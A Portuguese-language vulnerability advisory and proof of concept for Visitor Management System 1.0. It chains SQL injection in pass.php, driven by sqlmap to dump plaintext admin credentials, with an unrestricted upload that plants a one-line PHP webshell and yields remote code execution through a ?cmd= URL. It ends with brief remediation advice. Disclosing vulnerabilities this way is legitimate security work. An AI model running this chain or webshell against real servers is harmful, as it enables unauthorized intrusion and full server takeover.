
Prova de conceito demonstrando injeção de SQL e upload de arquivo sem restrições encadeados para alcançar execução remota de código no Visitor Management System 1.0, incluindo exploração passo a passo e orientações de remediação.
| Campo | Detalhes |
|---|
| Produto | Visitor Management System |
| Fornecedor | code-projects.org |
| Versão | 1.0 |
| Classes de Vulnerabilidade | Injeção de SQL (CWE-89) + Upload de Arquivo sem Restrições (CWE-434) |
| ID CVE | Pendente |
| Pontuação CVSS | 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticação Necessária | Privilégio baixo (conta de guarda) como ponto de entrada |
| Arquivos Afetados | /vms/php/pass.php, /vms/php/admin_user_0.php |
| Parâmetro Vulnerável | phone (POST) |
O Visitor Management System 1.0 da code-projects.org é vulnerável a uma cadeia de ataque crítica que combina Injeção de SQL e Upload de Arquivo sem Restrições, levando à Execução Remota de Código.
Um atacante com acesso de baixo privilégio (conta de guarda) pode explorar uma vulnerabilidade de injeção de SQL em pass.php por meio do parâmetro POST phone para despejar todo o banco de dados — incluindo credenciais de administrador em texto puro. Usando as credenciais extraídas para autenticar como administrador, o atacante pode então enviar um webshell PHP através do painel de gerenciamento de Usuários Administradores (admin_user_0.php), que não realiza nenhuma validação de tipo de arquivo ou extensão. O webshell enviado é armazenado em um diretório acessível pela web e pode ser executado diretamente via URL, resultando em Execução Remota de Código completa no servidor.
Além disso, as senhas são armazenadas em texto puro no banco de dados, o que significa que nenhuma etapa de quebra de hash é necessária após o despejo via SQLi.
Login de guarda com baixo privilégio
↓
Injeção de SQL em pass.php (parâmetro phone)
↓
Despejo via sqlmap → credenciais de administrador em texto puro extraídas
↓
Login como administrador (sanjay1:7861)
↓
Upload de arquivo sem restrições em admin_user_0.php
↓
Webshell PHP enviado para /vms/php/folder/
↓
RCE via ?cmd=whoami → comprometimento total do servidor
Navegue até o aplicativo VMS e faça login com as credenciais de guarda. Após o login, navegue até a página de Número de Telefone:
http://<ALVO>/vms/php/phone_0.php

Envie uma aspa simples ' como valor do número de telefone. O aplicativo lança um erro fatal do MariaDB expondo a consulta bruta e o caminho do arquivo:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '2026-05-05'' at line 1 in
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')
Arquivo afetado: pass.php linha 9
Parâmetro vulnerável: phone (POST)

erro de sql

Salve a solicitação capturada no Burp Suite em um arquivo (sqli.txt) e execute o sqlmap:
sqlmap -r sqli.txt --dump --batch
O sqlmap despeja com sucesso a tabela login_user do banco de dados vms, revelando credenciais em texto puro para todos os usuários:
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image | phone | name | user | gender | password | username |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1 | <blank> | 8146905071 | sanjay | guard | male | 786 | sanjay123 |
| 2 | <blank> | 8146905071 | sanjay1 | admin | male | 7861 | sanjay1 |
+----+---------+------------+---------+-------+--------+----------+-----------+
Observação: As senhas são armazenadas em texto puro — nenhuma quebra de hash é necessária.

Usando as credenciais de administrador extraídas, faça login no painel administrativo:
Usuário: sanjay1
Senha: 7861
O painel administrativo completo agora está acessível, incluindo gerenciamento de Funcionários, Departamentos, Usuários Administradores e Relatórios.

Navegue até a página de gerenciamento de Usuários Administradores:
http://<ALVO>/vms/php/admin_user_0.php
A página contém um campo de upload de arquivo para uma imagem de perfil. O aplicativo não realiza nenhuma validação de tipo de arquivo, nenhum filtro de extensão e nenhuma verificação de tipo MIME.
Preencha o formulário com quaisquer valores e envie o seguinte webshell PHP como o arquivo de imagem (web2_command.php):
<?php echo shell_exec($_GET['cmd']); ?>

Navegue até a página de exibição de Usuários Administradores:
http://<ALVO>/vms/php/admin_display_0.php
A conta de administrador recém-criada é visível na tabela. O webshell enviado está armazenado em:
http://<ALVO>/vms/php/folder/web2_command.php

Execute comandos arbitrários do sistema através do webshell:
http://<ALVO>/vms/php/folder/web2_command.php?cmd=whoami
Resultado: O servidor retorna o usuário atual do sistema confirmando a Execução Remota de Código completa:
desktop-g1i9np3\dell

| Arquivo | Vulnerabilidade |
|---|---|
/vms/php/pass.php | Injeção de SQL via parâmetro POST phone |
/vms/php/admin_user_0.php | Upload de Arquivo sem Restrições — nenhuma validação de extensão ou MIME |
/vms/php/folder/ | Diretório de armazenamento do webshell — acessível pela web, sem restrições |
Para Injeção de SQL:
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();
Para Upload de Arquivo:
Para Armazenamento de Senhas:
password_hash() e password_verify() — nunca armazene em texto puro